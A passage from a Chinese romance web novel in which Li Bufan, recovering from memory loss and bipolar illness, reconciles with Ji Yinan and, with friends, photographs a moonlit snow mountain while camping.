为了让自己更决绝,不要再动摇,李不凡把手机里季一南的所有照片、和他发过的信息都保存进芯片里,然后把存在手机里的部分全部都删除了。 就当他们从来没有遇见过好了。 李不凡这辈子没掉过这么多眼泪,很长一段时间觉得自己大概已经是个死人了,只是苟活在这个世界。 他以为季一南会彻底自由,即使是说了狠话,也忍不住要偷偷去香格里拉看他,还答应了宋朗白过段时间就和他一起在这边拍照参加摄影展,没料到就那样被季一南抓住。 他看季一南和他过得一样糟糕,更加觉得自己是这一切的罪魁祸首。 好在他得知了最近将要开启的医学论坛有探讨双相对脑部的影响,主讲人在为自己的手术召集志愿者,他的失忆症状有可能会被这种手术治疗好。 所以他才回了威斯林顿,在等待论坛召开的间隙,又想再去曼拉山,看看他和季一南去过的地方。 阴差阳错,他竟然死在最想活下去的时刻。 “我从来没有想过要丢下你,我只是丢下了我自己……”他说,“我不敢告诉你,因为我知道你会说什么,你会说哪怕我失忆你也没关系,哪怕以后还有更严重的后果,你也都受着。那我要怎么接受呢?我如果听到这些话,我宁愿自己立刻去死。 “这不是你该有的人生,你不能因为和我在一起,就连正常的感情也不要了。那个时候对我来说,这就是一件没办法解决的事,我很想一直在你身边,很想再不要脸一点,让你后半辈子都陪着我好了。但是只要一面对你,我又不忍心。” “我没有办法完全想起以前的所有事情,也可能是还要更多时间。但我等不了那么久,就只想跟你待在一起,你不在我身边我天天想你,”李不凡侧过脸,趴在季一南肩头,“你不要因为我以前说过的话怀疑自己,也不要怀疑我。我很真心的……只是从来没有机会说。” 他感到季一南滚烫的掌心盖住了自己的发顶。 这样紧贴彼此拥抱时,就能听到对方心跳的声音。 去医院很多趟,甚至中间有住过很长时间院,除了吃药以外,还有电击等治疗,那过程漫长而混乱。 即使已经感到痛苦,李不凡也没能全部记起,但那些最重要的时刻,就像砂砾中闪烁的金子,让他无法错过。 李不凡的每句话、每个字,季一南都听到了,他的心脏如同被擂动的鼓,不住震颤着。 原来……原来自己没有被李不凡抛弃过。 原来他的爱一直都有回音。 季一南怔愣许久,对着一束从树缝中泄露的月光。 “要是你想讨厌我一会儿,我也可以接受。”李不凡抬起脸。 季一南诚实地说:“我讨厌过你的,讨厌你什么都不说清楚就走了,讨厌你觉得我是个正常人,所以离开你也没有关系……但和我爱你比起来,讨厌算什么。” 他又轻轻碰了碰李不凡的嘴唇,含糊地讲:“……这次是真的还有很多时间。” 李不凡顺从地搭住季一南的腰,亲了片刻,他轻声提醒:“我们还要找小马。” “哦、哦……对。”季一南恍惚地说。 正在这时,林中忽然传来小马驹的尖细叫声。两人动作一顿,季一南从背包里反手拿出手电,朝树林里一照。 一只小马被压在一根断裂的树木之下,两只眼睛发光似的向他们看过来。 “受伤了?”李不凡压低声音。 季一南说:“过去看看。” 走到小马身边,季一南先抬头观察了下周围的树木,确保没有再断裂的可能。李不凡蹲在旁边,借手电的光检查了小马的情况。 “应该只是被压住了,没有树枝刺穿身体。”他尝试着抬了下树干,很快季一南也来帮忙。 “来,一、二……”李不凡喊。 两个人抱着树干的两头,竟然真的把这根树木抬了起来。 小马驹挣扎着爬了出来,被压得最厉害的后脚却怎么都站不起来。 放下树干,季一南让李不凡去拿手电,自己一把将到超过小腿的小马抱了起来。 那马看着高,在一米九的季一南身上像只麻袋一样。 “走吧,”他把马扛在一边的肩膀,甚至能腾出一只手牵李不凡,“我骑马来的。” 李不凡抓住季一南的手,笑着搭到小马驹身上,“你还是好好扶着它,别造成二次伤害了。” “我给阿夏打个电话,让他找个车来接我们。”季一南说。 走出树林时,天色已经完全暗了。 草地被风吹得窸窣作响,满地的格桑花摇晃着,像在朝人挥手。 山坡的另一侧,碧绿的湖泊在月光下格外黯淡,把粼粼波光衬得如同繁星。 可惜今晚有云,大半座央娜雪山掩埋在了云层之中。 “之前我把你的骨灰洒在了这里,”季一南说,“这里是碧琼海,格桑花年年都开得很好,旁边又是央娜雪山,都是你喜欢的。” 李不凡就又失了神,半晌才说:“我们一起等等月照银山吧,就像那天在摄影展上看到的一样。” “好啊,也许过两天就能看到了。”季一南把小马驹放在马鞍上,用背包里的绳子把它捆好。 人是坐不了了,不过这次可以牵李不凡的手。季一南一只手拉着马缰,一只手握住李不凡。 巍峨的雪山之下,月亮映照出的两只影子紧紧贴在一起,沿着青绿色的山脊,穿过火红的格桑花丛。 第57章 村民开了一辆皮卡来,把小马驹放在车尾。马可以自己跑到家,季一南就和李不凡一起上了车。 他们先回阿嬷那里,把她的小马驹送到。 屋檐下点了一豆灯,听说季一南找到了小马驹,阿嬷早早叫来兽医站的医生。 季一南把小马驹扛下车,等兽医检查。 阿嬷开了院前的灯,问他们:“吃饭没?” “不用麻烦,”季一南说,“我们开车回去还要一会儿呢,就走了。” “也行,今天有点晚了,改天过来,我给你做好吃的。”阿嬷笑。 皮卡车又颠簸地上路,李不凡说:“你和这里的人关系还挺不错的。” “平常我们上山下山,经常要麻烦他们。”季一南捏了捏李不凡的手。 快到酒店时,李不凡很远就看见院子里燃着一丛火。 村民把车停到院子边,他下了车,宋朗白正端着一只碗,在装小柳从柴堆的烤全羊上切下来的肉。 “我不在就吃这么香呢。”李不凡笑。 “哥?你怎么回来了,都不提前说的。”小柳愣住了,宋朗白赶紧叫他:“能先把这块肉弄下来吗?” “老板,再拿两个碗!”小柳朝里喊。 季一南带着李不凡去酒店一楼洗了个手,回来拎了两把野营椅,坐在篝火旁边。 小柳已经把肉分好了,木桌上还有几道小菜和啤酒,李不凡先喝了口酒解渴,顺手给季一南递了一瓶。 “你回来得正好,”宋朗白啃着肉说,“你不在的这几个月,我们一次日照金山都没看见过。虽然夏天确实很不容易见到,但是运气总不至于这么差吧。” “我们就找了一些自己比较喜欢的地方拍,央娜这边海拔高,风景和我们之前去的地方还真不一样。”小柳说。 李不凡拿着筷子,说:“那行啊,反正我回来了,我们计划重启。” “先干一个。”宋朗白举起酒瓶。 他看着李不凡,笑说:“你也是真够能瞒的,我们一起工作了这么几个月,居然都没看出来你失忆了,跟我说要去医院治疗的时候,我还以为自己在看什么小说。” “我们之前本来就不熟,你们看不出来也很正常,”李不凡用膝盖碰了下季一南大腿,“我就告诉他了。” “行行……你俩关系好。”宋朗白无语地说。 他本来还没注意,眼睛一盯,这才发现李不凡和季一南手上都戴着戒指,一下没控制住,哟了一声,把李不凡的手举起来。 “没见过戒指啊?”李不凡又把手抽走了。 真傻了的人是坐在宋朗白旁边的小柳,李不凡才和季一南认识多久,怎么都到送戒指这步了。 “我们去威斯林顿结了个婚。”李不凡若无其事地说。 小柳一口酒喷出来,诧异地看着他们:“啊?!” “有这么奇怪吗?”李不凡忍不住笑。 “哥你不是去拍东西的吗?”小柳问。 “是去拍东西的,所以结得很匆忙。”李不凡说。 “行了别逗他们了,”季一南握着酒瓶,越过李不凡和僵硬的宋朗白碰了下,“我喜欢他,就追他,追到了,差不多就是这样。” 宋朗白点点头,抿了抿唇,“你俩还挺潮,玩闪婚那套。” 李不凡没再多说什么。 几个人你一口我一口吃着菜,后来吃得差不多了,就摊在野营椅上,看着星星喝酒。 李不凡拿酒瓶的手垂着,另一只手一直被季一南握在掌心。 他一会儿捏捏李不凡手指,一会儿用拇指搓搓他手心,把李不凡的手弄得很热。 “那现在怎么样啊?”宋朗白已经喝晕了,说话都有点大舌头,“咱这……记起来了没。” “差不多了。”李不凡说。 他瞥了旁边人一眼,小柳都醉得睡着了,也就宋朗白还撑着。他和季一南都喝得不多,看他们这样,对视一眼笑了。 “你现在还有空关心我呢,快回去睡觉吧。天气预测我看过了,这周基本上看不到,好好休息会儿吧。”李不凡说。 季一南看另外两个人根本没办法注意他们,牵起李不凡的手咬了下他指节。李不凡很轻地嘶了声,回头看他一眼,让他别咬了,可偏偏那个假装生气的样子有点可爱,季一南笑笑,竟然就这么靠上来亲了李不凡一下。 旁边还有人呢……! 李不凡推了他一下,但这一下也没多少力气。 季一南滚烫的呼吸扑上来,含住了李不凡的嘴唇,很慢地吸咬,尽量不发出声音。 “对了,我之前是不是跟你讲过来着。”宋朗白突然从椅子上坐起来。 李不凡下意识咬了季一南一口,转过头,小幅度地挪了下身体,让自己的脸落进阴影里。 “讲过什么?”他掩饰地喝了口酒。 “哦……”没懂李不凡怎么这么奇怪,醉了的大脑也反应不太过来,宋朗白继续说:“就是我把我们这段时间拍的照片都整理好了……” “讲过,”李不凡清了下嗓子,“你醉得太厉害了,我不是还挑过照片了吗?等我们拍到什么日照金山月照银山,我们就发给摄影展的组委会。” 他从椅子上站起来,顺便拉着宋朗白的手臂把他也带起身。 “走了,回去睡觉了……老板,麻烦帮我们扶下人。” 进了酒店,季一南拉着李不凡的手,带他回自己房间。 刷开门,季一南把电卡插上,李不凡则撑着墙换拖鞋。 刚穿好,身后的人掰过他的下巴,追着吻上来。 滚烫的东西抵在他尾椎,李不凡的呼吸完全被吞噬了,口津顺着嘴角往下淌。 “一哥……”他模糊地叫。 他觉得季一南醉了,舌尖全是酒味,脸也热得不像话。 季一南垂着眼,手往李不凡腰上一揽,抱起他抵在旁边的柜子上,手指很轻松地抽出李不凡的皮带扔到旁边。 “一起去洗澡……”他说。 浴室水汽蒸腾,光洁的瓷砖面板被李不凡的脊背磨出水迹,侧旁的玻璃上印着两只淋漓的手掌印。 卫生间空间很大,压抑的哼声带着点回音。李不凡脸颊通红,甚至有些头晕脑胀,被季一南竖抱着趴在身上,顺手搭了条干净毛巾。 走到床边,季一南先把他放下来,转身去找吹风机。 回来时李不凡趴在枕头上,闷声说:“浴室里有点缺氧。” 季一南嗯了一声,打开吹风机,坐在床边给他吹头发。 李不凡头发不长,季一南用手指拨弄了没几下就干了。吹完头发他还是没动,等季一南端来温水,才懒懒地翻了个面。 “以前你是不是就这么伺候我的?”李不凡笑,“我怎么这么不懂事。” “是我把你弄成这样的,我负责。”季一南平静地说。 李不凡挑眉,靠在了床头:“我也没有……没有很累吧。” 季一南把他喝水的杯子放在床头柜,走到小冰箱前,在里面挑挑选选,最后拿出半个西瓜,插了两个勺子。 “吃点水果。”季一南说。 李不凡在用平板看图,实际上他在威斯林顿时也没闲着,一直在处理他们打算送去摄影展的图片。 暂时没来得及看季一南,李不凡盯着屏幕,说:“先放旁边吧。” 季一南把西瓜放好了,在床边坐下来,看了李不凡一会儿,眼神有些发直,像酒还没醒,后来也没忍住,凑上去想亲。李不凡只好把平板举高,季一南压上来,唇舌追逐了一会儿,还是退开了,把头靠在李不凡胸膛,闭上了眼,轻声说:“你继续做你的工作。” “现在?这样?”李不凡笑了笑,干脆把平板扔到一旁,两只手抱住季一南。 “脑子有点晕……”季一南哑哑地说。 李不凡又把他抱紧了一点,感觉到季一南在他胸膛上很慢地蹭了蹭:“撒娇啊?脑子晕就靠着我……晚上感觉你喝醉了,难受吗?” “不难受……”季一南翻了个身,把李不凡压在自己身下,脸偏过来卡在他的脸侧,像一张滚烫的被子,完完全全地盖住了李不凡,好像要用自己的全身感受他。 “我是不是很沉?”季一南问。 “不沉,我不至于这点都扛不住。”李不凡拍着他后背,感觉到季一南可能有些困了,就伸长手臂,摁灭了床头的灯光。 季一南身上很暖,李不凡搓着他衣服,手不自觉地就伸进去,捂住他皮肤。 皮肉之下的肋骨微微凸起,李不凡摸了摸,掌心停留在那枚纹身的位置。 在浴室时他就忍不住盯着,但季一南太喜欢后背的位置,所以李不凡能看见的时候也不多。 “你还没告诉我,这个是什么时候纹的?”李不凡问。 “我把你的骨灰洒在碧琼海之后,”黑夜里,季一南声音很低,“我不太会画画,找人磨稿子磨了很久,才画出一个和你当年给我的画的差不多的纹身。” 李不凡沉默了一会儿,季一南就抱住他,鼻尖埋进他的头发里,嗅着那股清新的洗发水的味道。 “和你说分手之后我去参加了很长一段时间的救援。当时我的求生欲望很低,干脆用自己的生命多去帮助那些想要活下来的人。”李不凡说。 “我那时很害怕郁期,因为和躁期的对比太强烈了,我很怕自己跌进一种极度消极,连抬手都困难的状态里。我想你去过正常的生活,拥有一个正常的恋人。 “为了让自己再坚决一点,我把所有和你相关的照片、聊天记录全部都从手机里挪走。本来是想直接删掉的,后来还是舍不得。反正最后都会忘记一切的,那不删和删了又有什么区别……所以我把它们全部保存在了一枚芯片里,放进你送给我的项链。” 做很多事的动机在回忆里褪了色,唯独关于季一南的,稍一想到,李不凡就觉得愧疚和痛苦。 “我想,如果以后有万分之一的概率,我能够想起什么……当我看到随身的项链,一定会好奇为什么它这么重要吧。” 接受治疗的第一天,医生告诉李不凡: 强烈的情感会帮助人在记忆的长河中标记最重要的事。 对另一个人的情感,会留下许多连本人也注意不到的蛛丝马迹。 在威斯林顿分别时,说着“我们不要再去情人大桥了”,李不凡却独自去了很多次。 每次治疗完从医院离开,他都会不自觉地走到那里。遇上来挂情人锁的情侣,就好像重温记忆中的画面。 后来想想,不论是他还是季一南,留下的破绽都实在太多。能想起和季一南有关的事,与其说是偶然,不如说是必然。 “你怕我痛苦,再生病……”李不凡的手搭着季一南的腰,“但你完全不会介意,失去了记忆的我,可能就不是从前的那个我了吗?” “不会,”季一南回答得很快,“这有什么介意的,你就是你。这又不是在演什么故事,我也没你想得那么有内涵,非要去思考一些哲学和伦理上的问题。对我来说,这件事很简单,你要活着,要存在。” 温暖的夜晚,季一南侧过脸,在李不凡的额头落下一个吻。 “我们无法参破世界运转的规则,只好抓住被给予的机会。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完】 第58章 宋朗白和小柳留在央娜继续等待,李不凡则跟着季一南去他研究所的家属楼小住几天。 他行李里全是各种各样的设备,季一南的房子本来就只有两个房间,一个主卧一个书房,没两天就被李不凡塞满了。 傍晚季一南下班回家时,房间里安安静静的。 卧室的门半开着,黄昏的光线从阳台照进客厅,衬得小房间里黑漆漆的。 李不凡大概是拉了窗帘,估计正睡得香。 季一南换好拖鞋走进卧室,被子鼓成一团,李不凡套了件卫衣,帽子还拉起来盖着头,凌乱地趴在床上。 季一南无奈地笑笑,想帮他拉拉被子,李不凡就醒了。 他迷迷糊糊睁眼,似乎也只看清床边有个熟悉的高大身影,便抬起双臂。季一南顺从地趴上去,抱了他一会儿。 完全还没清醒。李不凡手臂无力地拍着季一南后背,还想把他也哄睡着。 “你再睡会儿?”季一南侧过脸,吻了吻李不凡耳后的伤疤。 “你要干嘛啊……”李不凡声音懒散,眼睛终于睁开了一道缝。 “给你做饭啊,不过好像家里没葱了,”季一南站起来,“可能还要出去逛逛菜市场。” “别走啊,”李不凡抓住他手臂,“再等我五分钟,换个衣服,我跟你一起去。” 他借着季一南,使劲把自己拉了起来,呆呆地弓着脊背。卫衣的领口往下一落,露出大片胸膛。 季一南脚步一顿,转过身来,单膝跪在床边,和李不凡接了一会儿吻。 “现在醒了……”李不凡咬着他嘴唇,含混地说。 “醒了那走吧。”季一南吐了口气,掌心还握着李不凡后脑,很深地亲一下又分开,再换个角度,亲一下又分开。 李不凡手搭在季一南后背,不轻不重地按了下,季一南就把他压上床,顺着他下巴亲到颈侧。 说要出门,结果出门已经是在一个小时以后。 天都快暗了,好在市场不远,李不凡就穿了一双洞洞鞋,在楼下小卖部买了支冰淇淋,和季一南一起散步过去。 小摊贩们顺着石板路的两侧坐下,把薄薄的塑料纸垫在地上。季一南去选菜,李不凡慢慢跟在后面,被旁边蹿出的一条白色卷毛小狗拦住了路。 “你想找我玩?”李不凡弯下腰。 小狗两颗玻璃珠一样的眼睛,亮亮地看着他,一边晃着自己的屁股,一边蹭李不凡的小腿。 “痒……”李不凡笑,“我能陪你玩什么……你是这边谁养的小狗吗?” 好像在回应李不凡的话,小狗汪汪叫了几声,兴奋地朝上跳了跳,鼻尖总想去碰李不凡拿着冰淇淋的手。 “想吃这个?”李不凡嘀咕,“可是狗不是都是根据嗅觉来判断食物的吗?这个闻着很香吗?” 他自己低头嗅了嗅,只闻到水果的甜味。 “也没有啊……” 还在想到底要不要给小狗吃冰淇淋,它却突然发难,转而咬住李不凡的拖鞋。 李不凡一个没注意,一只鞋就被小狗叼走了。它跑得飞快,头也不回,留李不凡一个人支着脚站在原地发呆。 李不凡:“……” 刚称完番茄和葱,还拎着塑料袋的季一南站在离李不凡几步远的地方,忍不住笑出声。 “那条狗是旁边那家小卖部的,平常就淘气。”他走过来,握住李不凡一条手臂,帮他站稳了。 “那我还好心想给它东西吃,没想到是声东击西……”李不凡远远望着街的尽头,那小狗早就叼着他的拖鞋不见了踪影,“那我拖鞋怎么办啊?” “没事儿,”季一南蹲下来,“东西买完了,我背你回去吧。” “啊?”李不凡四处看了看,压着声音说,“……这里不行。” 他扶着季一南,单脚蹦到巷子旁边,小声跟季一南说:“这里可以了,朝那边走,那边没人……” “好,你想怎么都行。”季一南稍一弯腰,就握着李不凡两条大腿把他背上了。 季一南后背宽阔,走得也稳,李不凡放松地趴在他肩膀上,唯一还穿着拖鞋的脚翘着,好不让鞋子掉下去。 “看起来你和那条小狗还挺熟的,改天我们能不能回来报仇啊?”李不凡郁闷地问。 “跟一条小狗抢东西,”季一南笑,“你们到底谁是小狗。” “我拿回我的拖鞋不是天经地义么……”身边忽然有人经过,李不凡赶紧把头埋下来。 “那拖鞋全是小狗口水你还要啊?”季一南说,“回去给你买双新的,想要什么颜色都行。” “行啊。”李不凡自己也笑了。 夏季想要看到日照金山本来就非常困难,李不凡也没有抱太大希望。但也许是他们运气很好,根据专业预测,过几天还真有这么一次机会。 他们收拾好露营的装备,去酒店把宋朗白和小柳接上。 “去碧琼海露营的话,车最多就开到这里了。”季一南把越野停在旁边一家旅店的停车场里。 说是停车场,其实也不过是一片带围栏的空地。 这里也是转山的必经之路,是到往生石最近的、也是最后一家旅店。 前方还有十几公里的路,李不凡问过其他人,小柳和宋朗白都说,来都来了,也想体验一段转山的路,说不定还能遇到非常好的人文可以拍摄,李不凡也就没多说什么。 他们找了两头驴,提前让人送到了旅店。 季一南把绳子分下去,几个人一起将所有装备绑到驴身上,带着登山杖出发了。 这个季节很适合在这里徒步,白天天气很好,只是有些晒。 李不凡戴着一顶帽檐很大的渔夫帽,因为出了太多汗要擦,他暂时把墨镜反架在耳后。 走到垭口,开始碰到来转山的本地人。 尽管是夏季,他们仍旧穿着具有民族特色的服装,每走一步,就要跪下来磕一次头。 “可以拍吗?”宋朗白小声问。 “拍吧,别影响他们。”季一南说。 于是李不凡也举起相机,热烈的阳光下,他连睁开眼都很困难。 “我之前转过山,从金轮寺开始走一圈,有八十公里。”季一南说。 李不凡侧过脸,相机还举着,但看着他。 季一南看他满脸是汗,抽出纸巾给他擦。 “在香格里拉待得久了,总能看见各种各样的当地人,像这样三叩九跪地来神山祈祷。但当我也在他们的路上时,体验得会更深一些。我来的时候是冬天,我看他们那么神圣,在雪里磕头,在水里磕头,磕得头都破了,脚也破了……” “你是因为……”李不凡来之前就和宋朗白他们做了非常详细的攻略,当然知道前方就是往生石。 季一南收回手,摸了摸他被晒红的脸,“只是当时太郁闷了,不知道去哪里才好,才来爬爬山。” “但它灵验了,”李不凡慢慢地说,“所以你一定也很虔诚吧。” 季一南看他情绪低落了下去,便继续摸摸他的脸,“别不开心,说这些不是想让你有什么压力,再说,我当时难过,来爬山不是挺好的,这还是你以前教我的。” “知道了,没不开心,就是心疼你……”李不凡用额头靠了下季一南的肩膀,就继续拍照了。 翻过垭口已经快到傍晚,他们在碧琼海的湖水边找了一处平地搭帐篷。 湖水清凉,李不凡在水边拍了很长时间。 季一南弄好了晚餐过去叫他,他才回过头,朝季一南招招手。 “你看,这里有小鱼苗。”李不凡指了指清澈的水。 他的视线仍旧专心地跟着那小鱼,季一南找准时机,把手里的烤串塞到他唇边。 李不凡愣了下,咬了一口,模糊地说:“好香……好好吃。” “还看吗?”季一南笑着问。 “不看了。”李不凡赶紧摇头。 他拿上烤肉,跟季一南一起看起来,朝营地走。 “你怎么什么都会?还能做炊事班呢。”李不凡说。 “那不是因为以前什么都不会,跟你去爬山还是你照顾我比较多,而且你玩得多刺激啊,我都赶不上。” 李不凡脚步慢了,“以后不会了。现在我每天都过得挺好的,可能也不像之前一样,那么想要挑战什么了。” 季一南摇摇头:“我从来不反对你做自己喜欢的事情,在确保安全的情况下。做那些你喜欢的事,受点伤也很正常,但以后我都可以和你一起了。毕竟我比你多活了那么多年,我什么都学会了。” 李不凡抓了下季一南的手,等他回头,就在他嘴唇上落下一个孜然味的吻。 吃完晚餐,天上云还没散,只能看到央娜雪山半山腰以下的位置。 季一南给大家烧了几桶水,可以简单洗漱一下。 白天都在赶路,夜一深就有些累了。李不凡站在湖边的小树林里,拧干毛巾擦身体。正走神时,听见身后窸窸窣窣的声音,反应极快地回过头:“谁?” “我。”季一南关了手电,走到李不凡身边,从他手里接过毛巾。 他已经洗漱好了,晚上空气凉,便直接套了件厚一些的外套,拉链开到胸口的位置。 月光纱一样笼罩在李不凡的皮肤上,季一南拿着毛巾擦过的地方,都敏感地起了细小的疙瘩。 “是冷吗?”季一南问。 替他擦干身上以后,就给他套上了外套。 “不是……”李不凡失笑,往季一南身上靠了一会儿,说:“可以了,走吧,回帐篷。” 他说要走,季一南才按住他的后腰,凑上来吻住了他。 树林里很安静,只有风吹过的声音。季一南又去舔李不凡那两颗小猫牙,两人的唇舌间发出啧啧水声。 亲了一会儿,他们才回到营地里。 宋朗白已经把机器架好了,准备至少拍上一整夜。 剩余的薄薄一层篝火还能燃到后半夜,李不凡和季一南在帐篷边上坐下来。 夜风一起就有些冷,季一南反手把帐篷里的毯子拿出来,把自己和李不凡都裹住。 “对了,我一直想给喻修景打个电话,”李不凡找出手机,“好久没联系他了。” 他一动,毯子就掉下来,季一南又去捡,塞在他脖子里给他盖好了,“打吧。” 李不凡开了免提,电话音响了几秒,对面便有人接起。 “喂?不凡吗?” 原来喻修景的声音是这样的,很温和,很好听。 李不凡无声笑了笑,“还以为你都快忘了我是谁。” “怎么敢,明明你也很久没找过我了。”喻修景说。 “所以你最近在干什么?” “拍戏呢,导演把我们拉到深山老林去了。为了好好入戏,我这几个月谁都没联系过。” “那我是不是耽误你了。” “怎么会,我正郁闷。” “郁闷什么?”李不凡说,“一哥也在我身边。” “啊……一哥。” “以前的事他基本上都能想起了,你不用演了。”季一南说。 “……是吗?”喻修景明显松了口气,“你不知道,你给我打电话,说李不凡失忆了,我还以为自己在看什么剧本。” “好啊,你们两个合起伙来骗我。”李不凡笑。 “没有……我都怕你想起来了怪我呢,”喻修景犹豫了一会儿,问,“那……你的病怎么样了?” “好了,现在没什么事了,你别担心我了。”李不凡说。 他想了想,才说起徐祁年:“徐祁年呢?你知道他最近在什么吗?” “他啊……应该还在南极吧,那么远,没回来呢。”喻修景的声音低落了一点。 多年的朋友可能就是这样,可以因为各自的生活长时间不联系,但重新开始聊天,一切又还是那么自然。 李不凡有很多话想和喻修景说,但一晚上时间真是太少了,还是季一南提醒他,喻修景明天还要工作。 篝火噼里啪啦烧得快要熄灭了,挂掉电话以后,李不凡很长时间没说话,只是安静想着什么。 “之前我一直很难想象,自己离开以后,我身边的人会是什么生活状态,”李不凡说,“现在是能想到,但是不敢想。就是……如果脑子里出现那种大家为我难过的画面,我也会……很难过。” 季一南搭住他的肩膀。 “不是都过去了么,”季一南靠着他的额头蹭了蹭,“难受就别想了,都过去了……” 李不凡说:“我当时生病的时候,就那个状态,就是感觉身体完全不受自己控制,和感冒了忍不住咳嗽一样。郁期的时候,你想要做什么,但是完全动不了,没有力气让自己站起来。躁期的时候又恰好相反,思维特别流畅,大脑特别活跃。” 没想到自己还能有这样清醒地复盘的一天,多少次他都以为,人生中已不可能有这样的机会。 “我病着的时候,总是一直特别忌讳去聊这个病。感觉那时我整个思想状态都不太成熟,像惊弓之鸟,很容易对这些事过敏,就总觉得,自己过不去这个坎。我也没有想好,到底应该怎么处理和你之间的关系。” 李不凡很认真地说:“我觉得我那时做得不好,犹犹豫豫,影响了你。” “而且我也没有想到……”他没有想到,即便是在自己去世已经十几年以后,季一南也从来没有真的走出来。 明明人死不能复生,“你怎么可以真的等我。” “李不凡,即使是现在的你也不能责怪当时的你,”季一南听他讲着,“而且什么叫影响我?你不会真的觉得,你当时拒绝我一次,我就真的会知难而退了吧。我喜欢你,和你在一起是我想要的,想要的我都会努力得到。” 李不凡笑了,“你知道么你讲这个话特别可爱。” “可爱什么?”季一南凑上去,眼睛慢慢直了,盯着李不凡的嘴唇,又问他:“哪里可爱?” 他还是没忍住,靠过去和李不凡接了一会儿吻,喘着气说:“他们都讲,说一个男人可爱,就是爱上他了。” “我以为这个不用我说。”李不凡笑着,又含住了季一南的嘴唇。 亲了会儿,季一南用鼻尖摩擦着李不凡的脸。李不凡只是轻轻一瞥,竟然看见天边的云层散开了。 “月照银山……”李不凡侧过脸,怔住了。 他和季一南穿着拖鞋跑出帐篷,小柳和宋朗白也被惊动。 想起那个在摄影展的夜晚,李不凡把相机塞到宋朗白手里,拉着季一南站到央娜雪山之前。 “给我们拍照。”李不凡说。 “好好好,”宋朗白小声嘀咕,“当我是你俩婚纱摄影师得了。” 嘴上这么说,实际还是眯着眼研究怎么把人和雪山装到一个镜头里。 宋朗白指挥着:“你们再往左边走一点,对对对,再走一点,来抬头看我。” 季一南看他们拍照多,自己当照片里的主角却少。他看向镜头,一侧的肩膀沉了下,稍微偏过脸,就看见李不凡的手搭在上面,比了一个俏皮的耶。 和那个夜晚一样。 只不过此刻落在他们身上的光,不是摄影展里的灯光,而是皎洁的月色。他们也没有再穿那么正式的衣服,一定要用“特别”来标记这个时刻,而是随意的、自然的,仿佛这样的时刻还会出现许多次。 但有一瞬间,在这月光落下的一瞬间,季一南忍不住又回到那个对未来的一切都充满期待的夜晚,好像之后所有令他感到伤心绝望的事,通通都没有发生。 他顺利地毕业了,和李不凡住到一起,有一个自己的小家。 每天早晨,他们开车一起去上班,傍晚又回到同一个房间。 季一南给李不凡做健康的、永不加香菜的饭菜,郁期陪他安安静静地躺着,躁期陪他一起玩、一起爬山。 就这样很平淡、也很幸福地,一直到他们老去。 闪光灯连续地响起,宋朗白说拍好了。 李不凡走上去看,大概是说了几个不满意的地方,和宋朗白拌了几句嘴,又朝季一南走过来。 季一南还以为是要重拍,没想到被李不凡拉起手,跑向波光粼粼的湖水。 他笑着,头发被夜风扬起,回头看季一南时,如同很多年前那个同样热烈的夏天。 季一南站在房间的阳台上,和一个陌生的、即将陪伴他很多年的人对视,并接受了来自这个世界的第一次好意。 闪烁的水面如同铺满了晶莹的碎片,像一条盛满记忆的湖泊,发光的不是那天上月亮,而是千万个属于他们的片刻。 季一南抬头看了一眼夜空。 他知道,明天会是一个好天气,光线将千万年如一日地,温柔轻抚央娜雪山。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m